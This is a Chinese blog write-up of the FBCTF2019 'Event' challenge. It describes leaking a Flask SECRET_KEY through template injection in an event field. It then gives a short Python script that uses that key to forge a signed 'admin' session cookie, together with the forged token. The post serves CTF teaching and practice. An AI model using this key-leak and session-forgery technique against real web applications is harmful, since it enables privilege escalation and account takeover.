[FBCTF2019]Event(flask 伪造签名)

本文介绍如何通过寻找Flask应用中的SECRET_KEY并利用该密钥伪造管理员签名,从而获得Admin权限的过程。文中详细展示了从获取密钥到伪造签名的具体步骤。

在这里插入图片描述
在这里插入图片描述
随便注册个号进来,发现一个记录事件的框

在这里插入图片描述
在这里插入图片描述
做了这么多,感觉又是 flask的后端,先看看 session有点像,这种两点分布的

在这里插入图片描述

{'_fresh': True, '_id': 'b261ddff44b088e87bc0598a56e2e77038ab9d21a8392dcb8f7133d06a94634f8efe8797234fe66f9943f036d84c6cc2b5fc25f81fbd1d43c39b89081996cdc5', 'user_id': '3'}

那下面就是找秘钥了,经过测试在 event_important处可以模板注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

有了秘钥,我们就可以伪造下面的 user的签名

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
    print(session_serializer.dumps("admin"))

index()
# ImFkbWluIg.YwnA1g.Plkavr2RY7RnpGF7RCL3SVtiJ3g

替换 user,我们就获得了 admin权限

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值